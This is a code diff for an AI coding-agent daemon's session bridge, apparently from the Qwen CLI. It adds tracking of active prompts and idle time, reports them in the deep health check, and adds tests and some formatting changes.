| `/workspace/skills`, `/workspace/providers` | Routes | ACP-side live snapshots; return empty idle data when no session exists. |
|
||||
| Per-session SSE | `GET /session/:id/events` | Real-time event stream. |
|
||||
| Surface | Location | Purpose |
|
||||
| ------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `QWEN_SERVE_DEBUG` stderr logs | `bridge.ts` and call sites | Env values `1` / `true` / `on` / `yes` (case-insensitive) print `qwen serve debug: ...` lines to stderr. |
|
||||
| OpenTelemetry span instrumentation | `server.ts` `daemonTelemetryMiddleware` | Each HTTP request is wrapped in `withDaemonRequestSpan`; attributes include route, sessionId, clientId, and status code. Permission routes have dedicated spans. Prompt lifecycle is traced end-to-end. Configuration lives in `settings.json` `telemetry`. |
|
||||
| `DaemonLogger` structured file logs | `serve/daemonLogger.ts` | Structured JSON-like log lines are written to a file. Boot prints `daemon log -> <path>`. Supports `info` / `warn` / `error` levels, with structured fields such as `route`, `sessionId`, `clientId`, `childPid`, and `channelId`. |
|
||||
| Per-request access-log middleware | `server.ts`, registered before `bearerAuth` | Logs `method`, `path`, `status`, `durationMs`, `sessionId`, and `clientId` after each request. Skips `GET /health` and heartbeat. 4xx+ uses `warn`; success uses `info`. |
|
||||
| `/health` | `server.ts` route | Liveness probe; `?deep=1` returns extended details. |
|
||||
| `/capabilities` | `server.ts` route | Preflight feature discovery. See [`11-capabilities-versioning.md`](./11-capabilities-versioning.md). |
|
||||
| `/workspace/preflight` | Route -> `DaemonStatusProvider` | Structured readiness cells: Node version, CLI entry, ripgrep, git, npm, plus ACP-level cells once a child is alive. |
|
||||
| `/workspace/env` | Route -> `DaemonStatusProvider` | Daemon process env snapshot. Secret env vars report only presence; proxy URL credentials are stripped. |
|
||||
| `/workspace/mcp` | Route -> bridge extMethod | Pool, budget, and refusal snapshot. |
|
||||
| `/workspace/skills`, `/workspace/providers` | Routes | ACP-side live snapshots; return empty idle data when no session exists. |
|
||||
| Per-session SSE | `GET /session/:id/events` | Real-time event stream. |
|
||||
| `/demo` debug console | `GET /demo` (`packages/cli/src/serve/demo.ts`) | Browser-accessible single-page console: chat, event log, workspace inspector, and permission UX. On loopback, `http://127.0.0.1:4170/demo` is the quickest end-to-end validation path without writing SDK code. Registration rules are in [`02-serve-runtime.md`](./02-serve-runtime.md). |
|
||||
| `PermissionAuditRing` | `permissionAudit.ts` | In-memory FIFO of 512 permission decisions. |
|
||||
| Mediator `decisionReason` audit | `permissionMediator.ts` | Internal structured record explaining why a permission request resolved the way it did. |
|
||||
| `PermissionAuditRing` | `permissionAudit.ts` | In-memory FIFO of 512 permission decisions. |
|
||||
| Mediator `decisionReason` audit | `permissionMediator.ts` | Internal structured record explaining why a permission request resolved the way it did. |
|
||||
|
||||
## What does not exist today
|
||||
|
||||
|
|
|
|||
|
|
@ -326,13 +326,11 @@ describe('FileService', () => {
|
|||
describe('read', () => {
|
||||
it('calls fsFactory.forRequest with context and delegates to readFile', async () => {
|
||||
const mockFs = {
|
||||
readFile: vi
|
||||
.fn()
|
||||
.mockResolvedValue({
|
||||
content: 'hello',
|
||||
truncated: false,
|
||||
bytesRead: 5,
|
||||
}),
|
||||
readFile: vi.fn().mockResolvedValue({
|
||||
content: 'hello',
|
||||
truncated: false,
|
||||
bytesRead: 5,
|
||||
}),
|
||||
};
|
||||
const fsFactory = { forRequest: vi.fn().mockReturnValue(mockFs) };
|
||||
const service = createFileService({
|
||||
|
|
@ -461,13 +459,11 @@ Add to the test file:
|
|||
describe('write', () => {
|
||||
it('passes originatorClientId to forRequest for audit', async () => {
|
||||
const mockFs = {
|
||||
writeFile: vi
|
||||
.fn()
|
||||
.mockResolvedValue({
|
||||
ok: true,
|
||||
filePath: '/workspace/f.ts',
|
||||
bytesWritten: 3,
|
||||
}),
|
||||
writeFile: vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
filePath: '/workspace/f.ts',
|
||||
bytesWritten: 3,
|
||||
}),
|
||||
};
|
||||
const fsFactory = { forRequest: vi.fn().mockReturnValue(mockFs) };
|
||||
const service = createFileService({
|
||||
|
|
@ -531,13 +527,11 @@ const ctx: WorkspaceRequestContext = {
|
|||
describe('AuthService', () => {
|
||||
it('startFlow delegates to registry.start and returns flowId + verificationUri + userCode', async () => {
|
||||
const registry = {
|
||||
start: vi
|
||||
.fn()
|
||||
.mockReturnValue({
|
||||
id: 'flow-1',
|
||||
verificationUri: 'https://auth.example/device',
|
||||
userCode: 'ABCD-1234',
|
||||
}),
|
||||
start: vi.fn().mockReturnValue({
|
||||
id: 'flow-1',
|
||||
verificationUri: 'https://auth.example/device',
|
||||
userCode: 'ABCD-1234',
|
||||
}),
|
||||
};
|
||||
const service = createAuthService({ deviceFlowRegistry: registry as any });
|
||||
|
||||
|
|
|
|||
|
|
@ -10302,6 +10302,341 @@ describe('close on last client detach', () => {
|
|||
});
|
||||
});
|
||||
|
||||
describe('activePromptCount and lastActivityAt', () => {
|
||||
it('activePromptCount is 0 and lastActivityAt is null before any activity', () => {
|
||||
const bridge = makeBridge({
|
||||
channelFactory: async () => makeChannel().channel,
|
||||
});
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
expect(bridge.lastActivityAt).toBeNull();
|
||||
});
|
||||
|
||||
it('lastActivityAt is set after spawning a session', async () => {
|
||||
const bridge = makeBridge({
|
||||
channelFactory: async () => makeChannel().channel,
|
||||
});
|
||||
const before = Date.now();
|
||||
await bridge.spawnOrAttach({ workspaceCwd: WS_A });
|
||||
const after = Date.now();
|
||||
|
||||
expect(bridge.lastActivityAt).not.toBeNull();
|
||||
expect(bridge.lastActivityAt).toBeGreaterThanOrEqual(before);
|
||||
expect(bridge.lastActivityAt).toBeLessThanOrEqual(after);
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
|
||||
await bridge.shutdown();
|
||||
});
|
||||
|
||||
it('activePromptCount increments during prompt and decrements after', async () => {
|
||||
let releasePrompt: (() => void) | undefined;
|
||||
const handle = makeChannel({
|
||||
promptImpl: () =>
|
||||
new Promise<PromptResponse>((resolve) => {
|
||||
releasePrompt = () => resolve({ stopReason: 'end_turn' });
|
||||
}),
|
||||
});
|
||||
const bridge = makeBridge({
|
||||
channelFactory: async () => handle.channel,
|
||||
});
|
||||
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
|
||||
|
||||
// Start prompt (don't await — it blocks until released)
|
||||
const promptPromise = bridge.sendPrompt(session.sessionId, {
|
||||
sessionId: session.sessionId,
|
||||
prompt: [{ type: 'text', text: 'test' }],
|
||||
});
|
||||
|
||||
// Wait for prompt to reach the agent
|
||||
await vi.waitFor(() => {
|
||||
expect(handle.agent.promptCalls).toHaveLength(1);
|
||||
});
|
||||
|
||||
expect(bridge.activePromptCount).toBe(1);
|
||||
const duringPromptActivity = bridge.lastActivityAt;
|
||||
expect(duringPromptActivity).not.toBeNull();
|
||||
|
||||
// Release prompt
|
||||
releasePrompt!();
|
||||
await promptPromise;
|
||||
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
// lastActivityAt should be updated after prompt ends
|
||||
expect(bridge.lastActivityAt).toBeGreaterThanOrEqual(duringPromptActivity!);
|
||||
|
||||
await bridge.shutdown();
|
||||
});
|
||||
|
||||
it('activePromptCount tracks multiple concurrent sessions', async () => {
|
||||
const releasers: Array<() => void> = [];
|
||||
const handles: ChannelHandle[] = [];
|
||||
const bridge = makeBridge({
|
||||
channelFactory: async () => {
|
||||
const h = makeChannel({
|
||||
promptImpl: () =>
|
||||
new Promise<PromptResponse>((resolve) => {
|
||||
releasers.push(() => resolve({ stopReason: 'end_turn' }));
|
||||
}),
|
||||
});
|
||||
handles.push(h);
|
||||
return h.channel;
|
||||
},
|
||||
});
|
||||
|
||||
const s1 = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
|
||||
const s2 = await bridge.spawnOrAttach({
|
||||
workspaceCwd: WS_A,
|
||||
sessionScope: 'thread',
|
||||
});
|
||||
|
||||
// Start prompts on both sessions
|
||||
const p1 = bridge.sendPrompt(s1.sessionId, {
|
||||
sessionId: s1.sessionId,
|
||||
prompt: [{ type: 'text', text: 'test1' }],
|
||||
});
|
||||
const p2 = bridge.sendPrompt(s2.sessionId, {
|
||||
sessionId: s2.sessionId,
|
||||
prompt: [{ type: 'text', text: 'test2' }],
|
||||
});
|
||||
|
||||
// Wait for both prompts to reach agents
|
||||
await vi.waitFor(() => {
|
||||
const totalPrompts = handles.reduce(
|
||||
(sum, h) => sum + h.agent.promptCalls.length,
|
||||
0,
|
||||
);
|
||||
expect(totalPrompts).toBeGreaterThanOrEqual(2);
|
||||
});
|
||||
|
||||
expect(bridge.activePromptCount).toBe(2);
|
||||
|
||||
// Release first prompt
|
||||
releasers[0]!();
|
||||
await p1;
|
||||
expect(bridge.activePromptCount).toBe(1);
|
||||
|
||||
// Release second prompt
|
||||
releasers[1]!();
|
||||
await p2;
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
|
||||
await bridge.shutdown();
|
||||
});
|
||||
|
||||
it('lastActivityAt updates on prompt start and end', async () => {
|
||||
let releasePrompt: (() => void) | undefined;
|
||||
const handle = makeChannel({
|
||||
promptImpl: () =>
|
||||
new Promise<PromptResponse>((resolve) => {
|
||||
releasePrompt = () => resolve({ stopReason: 'end_turn' });
|
||||
}),
|
||||
});
|
||||
const bridge = makeBridge({
|
||||
channelFactory: async () => handle.channel,
|
||||
});
|
||||
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
|
||||
const afterSpawn = bridge.lastActivityAt!;
|
||||
|
||||
// Small delay to ensure timestamp difference
|
||||
await new Promise((r) => setTimeout(r, 5));
|
||||
|
||||
const promptPromise = bridge.sendPrompt(session.sessionId, {
|
||||
sessionId: session.sessionId,
|
||||
prompt: [{ type: 'text', text: 'test' }],
|
||||
});
|
||||
|
||||
await vi.waitFor(() => {
|
||||
expect(handle.agent.promptCalls).toHaveLength(1);
|
||||
});
|
||||
|
||||
const afterPromptStart = bridge.lastActivityAt!;
|
||||
expect(afterPromptStart).toBeGreaterThanOrEqual(afterSpawn);
|
||||
|
||||
await new Promise((r) => setTimeout(r, 5));
|
||||
|
||||
releasePrompt!();
|
||||
await promptPromise;
|
||||
|
||||
const afterPromptEnd = bridge.lastActivityAt!;
|
||||
expect(afterPromptEnd).toBeGreaterThanOrEqual(afterPromptStart);
|
||||
|
||||
await bridge.shutdown();
|
||||
});
|
||||
|
||||
it('activePromptCount does not go negative when closeSession cancels an active prompt', async () => {
|
||||
let rejectPrompt: ((error?: unknown) => void) | undefined;
|
||||
const handle = makeChannel({
|
||||
promptImpl: () =>
|
||||
new Promise<PromptResponse>((_resolve, reject) => {
|
||||
rejectPrompt = reject;
|
||||
}),
|
||||
cancelImpl: () => {
|
||||
rejectPrompt?.(new Error('cancelled'));
|
||||
},
|
||||
});
|
||||
const bridge = makeBridge({
|
||||
channelFactory: async () => handle.channel,
|
||||
});
|
||||
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
|
||||
|
||||
const promptResult = bridge
|
||||
.sendPrompt(session.sessionId, {
|
||||
sessionId: session.sessionId,
|
||||
prompt: [{ type: 'text', text: 'test' }],
|
||||
})
|
||||
.then(
|
||||
() => ({ ok: true as const }),
|
||||
(error) => ({ ok: false as const, error }),
|
||||
);
|
||||
|
||||
await vi.waitFor(() => {
|
||||
expect(handle.agent.promptCalls).toHaveLength(1);
|
||||
});
|
||||
expect(bridge.activePromptCount).toBe(1);
|
||||
|
||||
await bridge.closeSession(session.sessionId);
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
|
||||
const result = await promptResult;
|
||||
expect(result.ok).toBe(false);
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
|
||||
await bridge.shutdown();
|
||||
});
|
||||
|
||||
it('activePromptCount does not go negative when killSession cancels an active prompt', async () => {
|
||||
let rejectPrompt: ((error?: unknown) => void) | undefined;
|
||||
const handle = makeChannel({
|
||||
promptImpl: () =>
|
||||
new Promise<PromptResponse>((_resolve, reject) => {
|
||||
rejectPrompt = reject;
|
||||
}),
|
||||
cancelImpl: () => {
|
||||
rejectPrompt?.(new Error('cancelled'));
|
||||
},
|
||||
});
|
||||
const bridge = makeBridge({
|
||||
channelFactory: async () => handle.channel,
|
||||
});
|
||||
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
|
||||
|
||||
const promptResult = bridge
|
||||
.sendPrompt(session.sessionId, {
|
||||
sessionId: session.sessionId,
|
||||
prompt: [{ type: 'text', text: 'test' }],
|
||||
})
|
||||
.then(
|
||||
() => ({ ok: true as const }),
|
||||
(error) => ({ ok: false as const, error }),
|
||||
);
|
||||
|
||||
await vi.waitFor(() => {
|
||||
expect(handle.agent.promptCalls).toHaveLength(1);
|
||||
});
|
||||
expect(bridge.activePromptCount).toBe(1);
|
||||
|
||||
await bridge.killSession(session.sessionId);
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
expect(bridge.sessionCount).toBe(0);
|
||||
|
||||
const result = await promptResult;
|
||||
expect(result.ok).toBe(false);
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
|
||||
await bridge.shutdown();
|
||||
});
|
||||
|
||||
it('activePromptCount returns to 0 when channel crashes during a hung prompt', async () => {
|
||||
const handle = makeChannel({
|
||||
promptImpl: () => new Promise<PromptResponse>(() => {}),
|
||||
});
|
||||
const bridge = makeBridge({
|
||||
channelFactory: async () => handle.channel,
|
||||
});
|
||||
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
|
||||
|
||||
const promptResult = bridge
|
||||
.sendPrompt(session.sessionId, {
|
||||
sessionId: session.sessionId,
|
||||
prompt: [{ type: 'text', text: 'test' }],
|
||||
})
|
||||
.then(
|
||||
() => ({ ok: true as const }),
|
||||
(error) => ({ ok: false as const, error }),
|
||||
);
|
||||
|
||||
await vi.waitFor(() => {
|
||||
expect(handle.agent.promptCalls).toHaveLength(1);
|
||||
});
|
||||
expect(bridge.activePromptCount).toBe(1);
|
||||
|
||||
handle.crash();
|
||||
|
||||
await vi.waitFor(() => {
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
expect(bridge.sessionCount).toBe(0);
|
||||
});
|
||||
|
||||
const result = await promptResult;
|
||||
expect(result.ok).toBe(false);
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
|
||||
await bridge.shutdown();
|
||||
});
|
||||
|
||||
it('queued prompt rejects when the channel crashes before it starts', async () => {
|
||||
const handle = makeChannel({
|
||||
promptImpl: () => new Promise<PromptResponse>(() => {}),
|
||||
});
|
||||
const bridge = makeBridge({
|
||||
channelFactory: async () => handle.channel,
|
||||
});
|
||||
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
|
||||
|
||||
const promptA = bridge
|
||||
.sendPrompt(session.sessionId, {
|
||||
sessionId: session.sessionId,
|
||||
prompt: [{ type: 'text', text: 'prompt A' }],
|
||||
})
|
||||
.then(
|
||||
() => ({ ok: true as const }),
|
||||
(error) => ({ ok: false as const, error }),
|
||||
);
|
||||
|
||||
await vi.waitFor(() => {
|
||||
expect(handle.agent.promptCalls).toHaveLength(1);
|
||||
});
|
||||
|
||||
const promptB = bridge
|
||||
.sendPrompt(session.sessionId, {
|
||||
sessionId: session.sessionId,
|
||||
prompt: [{ type: 'text', text: 'prompt B' }],
|
||||
})
|
||||
.then(
|
||||
() => ({ ok: true as const }),
|
||||
(error) => ({ ok: false as const, error }),
|
||||
);
|
||||
|
||||
handle.crash();
|
||||
|
||||
const [resultA, resultB] = await Promise.all([promptA, promptB]);
|
||||
|
||||
expect(handle.agent.promptCalls).toHaveLength(1);
|
||||
expect(resultA.ok).toBe(false);
|
||||
expect(resultB.ok).toBe(false);
|
||||
if (resultB.ok) {
|
||||
throw new Error('queued prompt unexpectedly resolved');
|
||||
}
|
||||
expect(resultB.error).toBeInstanceOf(SessionNotFoundError);
|
||||
|
||||
await vi.waitFor(() => {
|
||||
expect(bridge.activePromptCount).toBe(0);
|
||||
expect(bridge.sessionCount).toBe(0);
|
||||
});
|
||||
|
||||
await bridge.shutdown();
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* `enqueueMidTurnMessage` backs the web-shell mid-turn drain: the browser
|
||||
* pushes a message typed during a turn, the ACP child drains it via
|
||||
|
|
|
|||
|
|
@ -870,6 +870,15 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
|
|||
);
|
||||
let sessionReaper: ReturnType<typeof setInterval> | undefined;
|
||||
|
||||
// Tracks the most recent "activity" event for idle-detection by
|
||||
// external schedulers. Updated on prompt start/end and session
|
||||
// spawn/restore. `null` until the first activity after boot.
|
||||
let lastActivityTimestamp: number | null = null;
|
||||
let activePromptCounter = 0;
|
||||
function touchActivity(): void {
|
||||
lastActivityTimestamp = Date.now();
|
||||
}
|
||||
|
||||
function resolvePositiveFiniteMs(
|
||||
raw: number | undefined,
|
||||
fallback: number,
|
||||
|
|
@ -1339,6 +1348,11 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
|
|||
} catch {
|
||||
/* bus already closed */
|
||||
}
|
||||
if (sessEntry.promptActive) {
|
||||
sessEntry.promptActive = false;
|
||||
activePromptCounter--;
|
||||
touchActivity();
|
||||
}
|
||||
byId.delete(sid);
|
||||
telemetry.metrics?.sessionLifecycle('die');
|
||||
// Tombstone the id so any late `extNotification` from the
|
||||
|
|
@ -1723,6 +1737,16 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
|
|||
return undefined;
|
||||
};
|
||||
|
||||
const assertLivePromptEntry = (
|
||||
sessionId: string,
|
||||
entry: SessionEntry,
|
||||
): void => {
|
||||
const info = channelInfoForEntry(entry);
|
||||
if (byId.get(sessionId) !== entry || !info || info.isDying) {
|
||||
throw new SessionNotFoundError(sessionId);
|
||||
}
|
||||
};
|
||||
|
||||
const getChannelClosedReject = (info: ChannelInfo): Promise<never> => {
|
||||
if (!info.statusClosedReject) {
|
||||
info.statusClosedReject = info.channel.exited.then(() => {
|
||||
|
|
@ -2045,6 +2069,7 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
|
|||
};
|
||||
ci.sessionIds.add(entry.sessionId);
|
||||
byId.set(entry.sessionId, entry);
|
||||
touchActivity();
|
||||
telemetry.metrics?.sessionLifecycle('spawn');
|
||||
// Drain any guardrail events that fired during this session's
|
||||
// `newSession` handler (before this entry registered) onto the
|
||||
|
|
@ -2459,6 +2484,11 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
|
|||
// closed bus.
|
||||
permissionMediator.forgetSession(sessionId);
|
||||
entry.pendingPermissionIds.clear();
|
||||
if (entry.promptActive) {
|
||||
entry.promptActive = false;
|
||||
activePromptCounter--;
|
||||
touchActivity();
|
||||
}
|
||||
byId.delete(sessionId);
|
||||
telemetry.metrics?.sessionLifecycle('close');
|
||||
// Tombstone the closed sessionId so any late `extNotification`
|
||||
|
|
@ -2552,6 +2582,20 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
|
|||
return byId.size;
|
||||
},
|
||||
|
||||
get activePromptCount() {
|
||||
return activePromptCounter;
|
||||
},
|
||||
|
||||
get lastActivityAt() {
|
||||
return lastActivityTimestamp;
|
||||
},
|
||||
|
||||
get idleSinceMs() {
|
||||
return lastActivityTimestamp !== null
|
||||
? Date.now() - lastActivityTimestamp
|
||||
: null;
|
||||
},
|
||||
|
||||
isChannelLive() {
|
||||
return !!liveChannelInfo();
|
||||
},
|
||||
|
|
@ -2819,6 +2863,7 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
|
|||
if (signal?.aborted) {
|
||||
throw new DOMException('Prompt aborted', 'AbortError');
|
||||
}
|
||||
assertLivePromptEntry(sessionId, entry);
|
||||
const requestedRetry =
|
||||
(req as unknown as { retry?: unknown }).retry === true;
|
||||
const isRetry = requestedRetry && entry.retryAllowed;
|
||||
|
|
@ -2844,7 +2889,9 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
|
|||
return copy;
|
||||
})();
|
||||
entry.promptActive = true;
|
||||
activePromptCounter++;
|
||||
entry.sessionLastSeenAt = Date.now();
|
||||
touchActivity();
|
||||
if (originatorClientId === undefined) {
|
||||
delete entry.activePromptOriginatorClientId;
|
||||
} else {
|
||||
|
|
@ -2881,15 +2928,23 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
|
|||
);
|
||||
}
|
||||
} catch (echoErr) {
|
||||
entry.promptActive = false;
|
||||
delete entry.activePromptOriginatorClientId;
|
||||
if (entry.promptActive) {
|
||||
entry.promptActive = false;
|
||||
activePromptCounter--;
|
||||
touchActivity();
|
||||
}
|
||||
throw echoErr;
|
||||
}
|
||||
const promptPromise = entry.connection
|
||||
.prompt(promptRequest)
|
||||
.finally(() => {
|
||||
entry.promptActive = false;
|
||||
entry.sessionLastSeenAt = Date.now();
|
||||
if (entry.promptActive) {
|
||||
entry.promptActive = false;
|
||||
activePromptCounter--;
|
||||
entry.sessionLastSeenAt = Date.now();
|
||||
touchActivity();
|
||||
}
|
||||
delete entry.activePromptOriginatorClientId;
|
||||
if (
|
||||
entry.clientIds.size === 0 &&
|
||||
|
|
@ -4619,6 +4674,11 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
|
|||
// byId.get(sessionId) (same order as closeSession).
|
||||
permissionMediator.forgetSession(sessionId);
|
||||
entry.pendingPermissionIds.clear();
|
||||
if (entry.promptActive) {
|
||||
entry.promptActive = false;
|
||||
activePromptCounter--;
|
||||
touchActivity();
|
||||
}
|
||||
// Remove from the state eagerly so concurrent `spawnOrAttach`
|
||||
// can't reattach to a session we're tearing down.
|
||||
if (defaultEntry === entry) defaultEntry = undefined;
|
||||
|
|
|
|||
|
|
@ -700,6 +700,23 @@ export interface AcpSessionBridge {
|
|||
*/
|
||||
isChannelLive(): boolean;
|
||||
|
||||
/** Number of sessions with an active prompt (promptActive === true). */
|
||||
readonly activePromptCount: number;
|
||||
|
||||
/**
|
||||
* Epoch-ms timestamp of the last "activity" event (prompt start/end,
|
||||
* session spawn/restore). `null` when the daemon has never processed
|
||||
* any activity since boot.
|
||||
*/
|
||||
readonly lastActivityAt: number | null;
|
||||
|
||||
/**
|
||||
* Milliseconds since the last activity event (`Date.now() - lastActivityAt`).
|
||||
* `null` when no activity has occurred since boot. Computed atomically to
|
||||
* avoid race windows between reading `lastActivityAt` and `Date.now()`.
|
||||
*/
|
||||
readonly idleSinceMs: number | null;
|
||||
|
||||
/** Test/inspection hook: number of permission requests awaiting a vote. */
|
||||
readonly pendingPermissionCount: number;
|
||||
|
||||
|
|
|
|||
|
|
@ -294,7 +294,10 @@ export function makeChannel(opts: FakeAgentOpts = {}): ChannelHandle {
|
|||
};
|
||||
// Spin up the fake agent on the agent side; keep the connection so tests can
|
||||
// drive client-bound ext-methods (e.g. the mid-turn drain).
|
||||
handle.agentConnection = new AgentSideConnection(() => handle.agent, agentStream);
|
||||
handle.agentConnection = new AgentSideConnection(
|
||||
() => handle.agent,
|
||||
agentStream,
|
||||
);
|
||||
handle.channel = {
|
||||
stream: clientStream,
|
||||
exited,
|
||||
|
|
|
|||
|
|
@ -210,8 +210,7 @@ function makeOptions(input: MakeOptionsInput = {}): BuildDaemonStatusOptions {
|
|||
clearScheduledInterval: () => {},
|
||||
});
|
||||
const bridge = {
|
||||
getDaemonStatusSnapshot: () =>
|
||||
input.bridgeSnapshot ?? BASE_BRIDGE_SNAPSHOT,
|
||||
getDaemonStatusSnapshot: () => input.bridgeSnapshot ?? BASE_BRIDGE_SNAPSHOT,
|
||||
getWorkspaceToolsStatus: async () =>
|
||||
input.toolsStatus ?? okStatus({ tools: [] }),
|
||||
} as unknown as AcpSessionBridge;
|
||||
|
|
|
|||
|
|
@ -979,6 +979,15 @@ function fakeBridge(opts: FakeBridgeOpts = {}): FakeBridge {
|
|||
get sessionCount() {
|
||||
return calls.length;
|
||||
},
|
||||
get activePromptCount() {
|
||||
return 0;
|
||||
},
|
||||
get lastActivityAt() {
|
||||
return null;
|
||||
},
|
||||
get idleSinceMs() {
|
||||
return null;
|
||||
},
|
||||
get pendingPermissionCount() {
|
||||
return 0;
|
||||
},
|
||||
|
|
@ -6385,6 +6394,53 @@ describe('createServeApp', () => {
|
|||
});
|
||||
});
|
||||
|
||||
it('deep=1 includes idle detection fields with no activity', async () => {
|
||||
const bridge = fakeBridge();
|
||||
const app = createServeApp(baseOpts, undefined, { bridge });
|
||||
const res = await request(app)
|
||||
.get('/health?deep=1')
|
||||
.set('Host', `127.0.0.1:${baseOpts.port}`);
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.body).toMatchObject({
|
||||
status: 'ok',
|
||||
activePrompts: 0,
|
||||
connectedClients: 0,
|
||||
channelAlive: false,
|
||||
lastActivityAt: null,
|
||||
idleSinceMs: null,
|
||||
});
|
||||
});
|
||||
|
||||
it('deep=1 derives idleSinceMs from the same lastActivityAt snapshot', async () => {
|
||||
const now = 1_700_000_060_000;
|
||||
const activityTime = now - 60_000;
|
||||
const bridge = fakeBridge();
|
||||
Object.defineProperty(bridge, 'lastActivityAt', {
|
||||
get() {
|
||||
return activityTime;
|
||||
},
|
||||
});
|
||||
Object.defineProperty(bridge, 'idleSinceMs', {
|
||||
get() {
|
||||
throw new Error('idleSinceMs getter should not be read');
|
||||
},
|
||||
});
|
||||
const nowSpy = vi.spyOn(Date, 'now').mockReturnValue(now);
|
||||
try {
|
||||
const app = createServeApp(baseOpts, undefined, { bridge });
|
||||
const res = await request(app)
|
||||
.get('/health?deep=1')
|
||||
.set('Host', `127.0.0.1:${baseOpts.port}`);
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.body.lastActivityAt).toBe(
|
||||
new Date(activityTime).toISOString(),
|
||||
);
|
||||
expect(res.body.idleSinceMs).toBe(60_000);
|
||||
} finally {
|
||||
nowSpy.mockRestore();
|
||||
}
|
||||
});
|
||||
|
||||
it('deep=1 returns 503 when bridge state access throws', async () => {
|
||||
// Simulate a wedged bridge by replacing the getter to throw.
|
||||
const bridge = fakeBridge();
|
||||
|
|
|
|||
|
|
@ -1220,10 +1220,18 @@ export function createServeApp(
|
|||
return;
|
||||
}
|
||||
try {
|
||||
const lastActivity = bridge.lastActivityAt;
|
||||
const now = Date.now();
|
||||
res.status(200).json({
|
||||
status: 'ok',
|
||||
sessions: bridge.sessionCount,
|
||||
pendingPermissions: bridge.pendingPermissionCount,
|
||||
activePrompts: bridge.activePromptCount,
|
||||
connectedClients: getActiveSseCount(),
|
||||
channelAlive: bridge.isChannelLive(),
|
||||
lastActivityAt:
|
||||
lastActivity !== null ? new Date(lastActivity).toISOString() : null,
|
||||
idleSinceMs: lastActivity !== null ? now - lastActivity : null,
|
||||
...(rateLimiter ? { rateLimitHits: rateLimiter.getHitCounts() } : {}),
|
||||
});
|
||||
} catch (err) {
|
||||
|
|
|
|||
|
|
@ -41,11 +41,11 @@ vi.mock('./LoadingIndicator.js', () => ({
|
|||
}: {
|
||||
currentLoadingPhrase?: string;
|
||||
}) => (
|
||||
<Text>
|
||||
LoadingIndicator
|
||||
{currentLoadingPhrase ? `: ${currentLoadingPhrase}` : ''}
|
||||
</Text>
|
||||
),
|
||||
<Text>
|
||||
LoadingIndicator
|
||||
{currentLoadingPhrase ? `: ${currentLoadingPhrase}` : ''}
|
||||
</Text>
|
||||
),
|
||||
}));
|
||||
|
||||
vi.mock('./ContextSummaryDisplay.js', () => ({
|
||||
|
|
|
|||
|
|
@ -354,10 +354,7 @@ describe('BackgroundTaskRegistry', () => {
|
|||
isBackgrounded: true,
|
||||
outputFile: '/tmp/test.jsonl',
|
||||
});
|
||||
registry.addPendingApproval(
|
||||
'paused-approval',
|
||||
makeApproval('c1', respond),
|
||||
);
|
||||
registry.addPendingApproval('paused-approval', makeApproval('c1', respond));
|
||||
registry.get('paused-approval')!.status = 'paused';
|
||||
|
||||
registry.abandon('paused-approval');
|
||||
|
|
|
|||
|
|
@ -63,32 +63,30 @@ describe('startSpeculation', () => {
|
|||
forkedAgentMocks.runForkedAgent.mockResolvedValue({
|
||||
jsonResult: { suggestion: '' },
|
||||
});
|
||||
forkedAgentMocks.sendMessageStream.mockImplementation(
|
||||
async function* () {
|
||||
if (forkedAgentMocks.sendMessageStream.mock.calls.length === 1) {
|
||||
yield {
|
||||
type: 'chunk',
|
||||
value: {
|
||||
candidates: [
|
||||
{
|
||||
content: {
|
||||
parts: [
|
||||
{
|
||||
functionCall: {
|
||||
id: 'call_123',
|
||||
name: 'read_file',
|
||||
args: { path: 'a.ts' },
|
||||
},
|
||||
forkedAgentMocks.sendMessageStream.mockImplementation(async function* () {
|
||||
if (forkedAgentMocks.sendMessageStream.mock.calls.length === 1) {
|
||||
yield {
|
||||
type: 'chunk',
|
||||
value: {
|
||||
candidates: [
|
||||
{
|
||||
content: {
|
||||
parts: [
|
||||
{
|
||||
functionCall: {
|
||||
id: 'call_123',
|
||||
name: 'read_file',
|
||||
args: { path: 'a.ts' },
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
};
|
||||
}
|
||||
},
|
||||
);
|
||||
},
|
||||
],
|
||||
},
|
||||
};
|
||||
}
|
||||
});
|
||||
|
||||
const state = await startSpeculation(config, 'read a.ts');
|
||||
await vi.waitFor(() => {
|
||||
|
|
@ -97,9 +95,7 @@ describe('startSpeculation', () => {
|
|||
|
||||
expect(execute).toHaveBeenCalledOnce();
|
||||
expect(state.messages[1].parts?.[0].functionCall?.id).toBe('call_123');
|
||||
